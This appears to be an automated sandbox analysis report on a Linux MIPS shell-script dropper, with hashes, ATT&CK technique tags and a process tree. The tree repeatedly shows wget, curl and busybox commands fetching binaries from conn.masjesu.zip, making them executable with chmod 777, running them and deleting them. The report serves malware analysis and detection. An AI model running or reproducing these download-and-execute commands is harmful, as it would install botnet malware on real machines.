2428d6445f99e9687723bd329876ec5b3c262203e7361f5952c061052530fad4

Analysis

max time kernel
85s
max time network
87s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
07/11/2024, 01:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e4879d1e543298df6a627144491470d72ce77e2c4774bd76a9afc8d9861c159b.sh
Size 10KB
Sample241107-btqbaasfql
SHA256 e4879d1e543298df6a627144491470d72ce77e2c4774bd76a9afc8d9861c159b
MD5 689dc2495b6b2746c1ff4ecc59d9c0c6
SHA1 1683e210e3cb3b39248824bc88309d3f76f782cb
SHA512 3d6c229430d1778891d8f1699cb98cf486e5b7926067a07b254d963d30960ae23eae580544b05269c7534276fac6e0b3865d984ec46da1d0a138652e41f21f31
SSDEEP 192:Dqyw2HH2Xfz/2ZpYcRD8igz/2ZpLpq2w2HHeU:DqynHH2XjcR8ibq2nHHeU
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
972	chmod
853	chmod
888	chmod
944	chmod
881	chmod
909	chmod
846	chmod
860	chmod
895	chmod
923	chmod
930	chmod
874	chmod
902	chmod
965	chmod
979	chmod
733	chmod
740	chmod
766	chmod
916	chmod
958	chmod
1000	chmod
836	chmod
986	chmod
993	chmod
937	chmod
951	chmod
820	chmod
867	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
772	wget
894	busybox
905	wget
919	wget
968	wget
887	busybox
922	busybox
961	wget
975	wget
992	busybox
934	curl
706	wget
736	wget
737	curl
739	busybox
866	busybox
898	wget
871	curl
880	busybox
950	busybox
976	curl
983	curl
800	curl
852	busybox
857	curl
929	busybox
999	busybox
812	busybox
850	curl
873	busybox
996	wget
839	wget
954	wget
997	curl
978	busybox
732	busybox
835	busybox
864	curl
891	wget
908	busybox
936	busybox
859	busybox
927	curl
941	curl
943	busybox
969	curl
982	wget
759	busybox
863	wget
870	wget
971	busybox
933	wget
947	wget
725	curl
744	curl
833	curl
845	busybox
856	wget
912	wget
985	busybox
743	wget
840	curl
877	wget
901	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/794lP91etlt5dj8FhZzJxnFERimsilRWTP	curl
File opened for modification	/tmp/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW	curl
File opened for modification	/tmp/ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ	curl
File opened for modification	/tmp/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf	curl
File opened for modification	/tmp/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf	curl
File opened for modification	/tmp/rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX	curl
File opened for modification	/tmp/rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX	curl
File opened for modification	/tmp/Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7	curl
File opened for modification	/tmp/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n	curl
File opened for modification	/tmp/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess	curl
File opened for modification	/tmp/Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7	curl
File opened for modification	/tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA	curl
File opened for modification	/tmp/j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk	curl
File opened for modification	/tmp/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En	curl
File opened for modification	/tmp/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW	curl
File opened for modification	/tmp/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n	curl
File opened for modification	/tmp/j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk	curl
File opened for modification	/tmp/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En	curl
File opened for modification	/tmp/6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H	curl
File opened for modification	/tmp/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess	curl
File opened for modification	/tmp/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS	curl
File opened for modification	/tmp/794lP91etlt5dj8FhZzJxnFERimsilRWTP	curl
File opened for modification	/tmp/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y	curl
File opened for modification	/tmp/ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ	curl
File opened for modification	/tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA	curl
File opened for modification	/tmp/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS	curl
File opened for modification	/tmp/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y	curl
File opened for modification	/tmp/6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H	curl

/tmp/e4879d1e543298df6a627144491470d72ce77e2c4774bd76a9afc8d9861c159b.sh
/tmp/e4879d1e543298df6a627144491470d72ce77e2c4774bd76a9afc8d9861c159b.sh
1⤵
PID:700
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:703
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - System Network Configuration Discovery
  PID:706
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - System Network Configuration Discovery
  PID:732
- /bin/chmod
  chmod 777 0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  ./0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  - Executes dropped EXE
  PID:734
- /bin/rm
  rm 0GDXTeHWVYfDFN06lNQHCkeYUE5GV9goNA
  2⤵
  PID:735
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  - System Network Configuration Discovery
  PID:736
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  - System Network Configuration Discovery
  PID:739
- /bin/chmod
  chmod 777 kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  ./kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm kHuscRoDqw7B7nZBTLxF9VQWWFb21NkMnW
  2⤵
  PID:742
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  2⤵
  - System Network Configuration Discovery
  PID:743
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  2⤵
  - System Network Configuration Discovery
  PID:759
- /bin/chmod
  chmod 777 u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  ./u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  2⤵
  - Executes dropped EXE
  PID:767
- /bin/rm
  rm u2tejz2vz6MhYlXFHjenJXQxBBBRNvcX2n
  2⤵
  PID:770
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  2⤵
  - System Network Configuration Discovery
  PID:772
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:800
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  2⤵
  - System Network Configuration Discovery
  PID:812
- /bin/chmod
  chmod 777 2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  ./2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  2⤵
  - Executes dropped EXE
  PID:821
- /bin/rm
  rm 2TWqic0JPt84I5pkndEvjXMUKNbKhGEACS
  2⤵
  PID:825
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  2⤵
  PID:826
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:833
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  2⤵
  - System Network Configuration Discovery
  PID:835
- /bin/chmod
  chmod 777 cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  ./cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  2⤵
  - Executes dropped EXE
  PID:837
- /bin/rm
  rm cnmf8De2uYmBrTCOiy8WdBUSi52HOJNWBf
  2⤵
  PID:838
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  2⤵
  - System Network Configuration Discovery
  PID:839
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:840
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  2⤵
  - System Network Configuration Discovery
  PID:845
- /bin/chmod
  chmod 777 vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  ./vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  2⤵
  - Executes dropped EXE
  PID:847
- /bin/rm
  rm vThDvrCIiLthtWNzDJ5rF1tEAs3eUOtess
  2⤵
  PID:848
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  2⤵
  PID:849
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:850
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  2⤵
  - System Network Configuration Discovery
  PID:852
- /bin/chmod
  chmod 777 4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  ./4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm 4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  2⤵
  PID:855
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  2⤵
  - System Network Configuration Discovery
  PID:856
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:857
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  2⤵
  - System Network Configuration Discovery
  PID:859
- /bin/chmod
  chmod 777 H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  ./H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  2⤵
  PID:862
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  2⤵
  - System Network Configuration Discovery
  PID:863
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  2⤵
  - System Network Configuration Discovery
  PID:866
- /bin/chmod
  chmod 777 6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  ./6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm 6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  2⤵
  PID:869
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  2⤵
  - System Network Configuration Discovery
  PID:870
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:871
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  2⤵
  - System Network Configuration Discovery
  PID:873
- /bin/chmod
  chmod 777 rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  ./rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  2⤵
  PID:876
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  2⤵
  - System Network Configuration Discovery
  PID:877
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  2⤵
  - System Network Configuration Discovery
  PID:880
- /bin/chmod
  chmod 777 Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  ./Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  2⤵
  - Executes dropped EXE
  PID:882
- /bin/rm
  rm Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  2⤵
  PID:883
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  2⤵
  PID:884
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:885
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  2⤵
  - System Network Configuration Discovery
  PID:887
- /bin/chmod
  chmod 777 j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  ./j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  2⤵
  - Executes dropped EXE
  PID:889
- /bin/rm
  rm j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  2⤵
  PID:890
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/794lP91etlt5dj8FhZzJxnFERimsilRWTP
  2⤵
  - System Network Configuration Discovery
  PID:891
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/794lP91etlt5dj8FhZzJxnFERimsilRWTP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/794lP91etlt5dj8FhZzJxnFERimsilRWTP
  2⤵
  - System Network Configuration Discovery
  PID:894
- /bin/chmod
  chmod 777 794lP91etlt5dj8FhZzJxnFERimsilRWTP
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/794lP91etlt5dj8FhZzJxnFERimsilRWTP
  ./794lP91etlt5dj8FhZzJxnFERimsilRWTP
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm 794lP91etlt5dj8FhZzJxnFERimsilRWTP
  2⤵
  PID:897
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ
  2⤵
  - System Network Configuration Discovery
  PID:898
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ
  2⤵
  - System Network Configuration Discovery
  PID:901
- /bin/chmod
  chmod 777 ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ
  ./ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ
  2⤵
  PID:904
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  2⤵
  - System Network Configuration Discovery
  PID:905
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  2⤵
  - System Network Configuration Discovery
  PID:908
- /bin/chmod
  chmod 777 4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  ./4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm 4L21KEn6NgP5Y6VpS5JfNLmFEsc3NYoe7Y
  2⤵
  PID:911
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  2⤵
  - System Network Configuration Discovery
  PID:912
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  2⤵
  PID:915
- /bin/chmod
  chmod 777 H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  ./H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm H1j7n6VsawKAJsjGQkOroXtFEEOr2Yg2En
  2⤵
  PID:918
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  2⤵
  - System Network Configuration Discovery
  PID:919
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:920
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  2⤵
  - System Network Configuration Discovery
  PID:922
- /bin/chmod
  chmod 777 6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  ./6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm 6s3yqcwwRqBFzM4kQI3SSHWQaQA1r6kM1H
  2⤵
  PID:925
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:927
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  2⤵
  - System Network Configuration Discovery
  PID:929
- /bin/chmod
  chmod 777 rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  2⤵
  - File and Directory Permissions Modification
  PID:930
- /tmp/rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  ./rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  2⤵
  - Executes dropped EXE
  PID:931
- /bin/rm
  rm rcxCKbdEXroe1DwIBMCJkg2in4x993HwbX
  2⤵
  PID:932
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  2⤵
  - System Network Configuration Discovery
  PID:933
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:934
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  2⤵
  - System Network Configuration Discovery
  PID:936
- /bin/chmod
  chmod 777 Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  ./Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm Ntrl8O7Nm9nRBBHaIc79Q9DWoGmBWW7JB7
  2⤵
  PID:939
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  2⤵
  PID:940
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  2⤵
  - System Network Configuration Discovery
  PID:943
- /bin/chmod
  chmod 777 j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  ./j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm j9zjhstyqyY2NrweFKdlBUdPLRBxXQppjk
  2⤵
  PID:946
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/794lP91etlt5dj8FhZzJxnFERimsilRWTP
  2⤵
  - System Network Configuration Discovery
  PID:947
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/794lP91etlt5dj8FhZzJxnFERimsilRWTP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/794lP91etlt5dj8FhZzJxnFERimsilRWTP
  2⤵
  - System Network Configuration Discovery
  PID:950
- /bin/chmod
  chmod 777 794lP91etlt5dj8FhZzJxnFERimsilRWTP
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /tmp/794lP91etlt5dj8FhZzJxnFERimsilRWTP
  ./794lP91etlt5dj8FhZzJxnFERimsilRWTP
  2⤵
  - Executes dropped EXE
  PID:952
- /bin/rm
  rm 794lP91etlt5dj8FhZzJxnFERimsilRWTP
  2⤵
  PID:953
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ
  2⤵
  - System Network Configuration Discovery
  PID:954
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:955
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ
  2⤵
  PID:957
- /bin/chmod
  chmod 777 ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ
  2⤵
  - File and Directory Permissions Modification
  PID:958
- /tmp/ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ
  ./ZvnUJ7irxwPmCv2cf4dalrAoXFRmaeblBJ
  2⤵
